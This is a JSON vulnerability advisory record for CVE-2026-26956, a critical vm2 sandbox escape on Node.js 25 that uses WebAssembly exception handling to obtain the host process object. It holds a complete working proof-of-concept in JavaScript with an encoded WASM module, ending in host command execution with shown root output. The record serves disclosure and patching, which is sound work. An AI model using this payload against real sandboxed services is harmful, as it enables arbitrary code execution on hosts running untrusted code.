{"id":"CVE-2026-26956","aliases":["GHSA-ffh4-j6h5-pg66"],"url":"https://o3.security/vulnerability/CVE-2026-26956","summary":"vm2: WASM Sandbox Escape (Node 25 only)","details":"## Summary\n\nFull sandbox escape with arbitrary code execution. Attacker code inside `VM.run()` obtains host process object and runs host commands with zero host cooperation.\n\n## Details\n\n**Confirmed on:** vm2 3.10.4, Node.js v25.6.1 (x64 Linux)\n**Trigger:** Attacker-controlled code passed to `VM.run()`\n**Requires:** Node.js version with WebAssembly exception handling + JSTag support (tested on v25.6.1)\n\nvm2's sandbox security relies on two JavaScript-level mechanisms: (1) a code transformer that injects `handleException()` into JS `catch` clauses to wrap host-realm errors, and (2) bridge Proxies that wrap cross-context objects. Both operate entirely within JavaScript.\n\nWebAssembly's `try_table` instruction with a `JSTag` catch handler catches JavaScript exceptions at V8's C++ level — below JavaScript entirely. When an imported JS function throws a TypeError produced by Symbol-to-string coercion during stack formatting (`e.name = Symbol(); e.stack`), the WASM `try_table` catches it as an opaque `externref` and returns it as a normal function return value. This WASM exception-handling-to-return-value path is not sanitized by vm2 — the host-realm TypeError reaches attacker code unsanitized. Its constructor chain (`hostError.constructor.constructor`) resolves to a Function that returns the host process object, allowing for reflection outside of the vm2 context, leading to code execution.\n\n## PoC\n\n```js\nconst { VM } = require(\"vm2\");\nconsole.log(\"vm2:\", require(\"vm2/package.json\").version, \"| node:\", process.version);\n\nnew VM().run(`\n    const before = typeof process;\n\n    const err = new Error(\"x\");\n    err.name = Symbol();\n\n    const wasm = new Uint8Array([\n        0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,\n        0x01,0x0c,0x03,0x60,0x00,0x00,0x60,0x00,0x01,0x6f,0x60,0x01,0x6f,0x00,\n        0x02,0x19,0x02,\n        0x03,0x65,0x6e,0x76,0x07,0x74,0x72,0x69,0x67,0x67,0x65,0x72,0x00,0x00,\n        0x02,0x6a,0x73,0x03,0x74,0x61,0x67,0x04,0x00,0x02,\n        0x03,0x02,0x01,0x01,\n        0x07,0x0f,0x01,\n        0x0b,0x63,0x61,0x74,0x63,0x68,0x5f,0x65,0x72,0x72,0x6f,0x72,0x00,0x01,\n        0x0a,0x12,0x01,0x10,0x00,\n        0x02,0x6f,0x1f,0x40,0x01,0x00,0x00,0x00,0x10,0x00,0x00,0x0b,0x00,0x0b,0x0b\n    ]);\n\n    const instance = new WebAssembly.Instance(\n        new WebAssembly.Module(wasm),\n        { env: { trigger() { err.stack; } }, js: { tag: WebAssembly.JSTag } }\n    );\n\n    const hostError = instance.exports.catch_error();\n    const p = hostError.constructor.constructor(\"return process\")();\n    const id = p.mainModule.require(\"child_process\").execSync(\"id\").toString().trim();\n    const log = p.mainModule.require(\"console\").log;\n    log(\"\");\n    log(\"process before escape:\", before);\n    log(\"process after escape: \", typeof p);\n    log(\"host pid:             \", p.pid);\n    log(\"host node version:    \", p.version);\n    log(\"RCE:                  \", id);\n`);\n```\n\n```\n> node poc.js\nvm2: 3.10.4 | node: v25.6.1\n\nprocess before escape: undefined\nprocess after escape:  object\nhost pid:              217\nhost node version:     v25.6.1\nRCE:                   uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n```\n\n**Proof files**\n[poc.js](https://github.com/user-attachments/files/25285089/poc.js)","published":"2026-05-04T16:37:31.538Z","modified":"2026-08-12T03:51:24.460832600Z","cvss":{"score":9.8,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},"epss":{"score":0.00921,"percentile":0.57595,"asOf":"2026-08-24"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"vm2","fixedVersion":"3.10.5"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/patriksimek/vm2/releases/tag/v3.10.5"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-26956.json"},{"type":"ADVISORY","url":"https://access.redhat.com/security/cve/CVE-2026-26956"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/26xxx/CVE-2026-26956.json"},{"type":"ADVISORY","url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-ffh4-j6h5-pg66"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-26956"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2466548"},{"type":"PACKAGE","url":"https://github.com/patriksimek/vm2"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:24.460832600Z"}}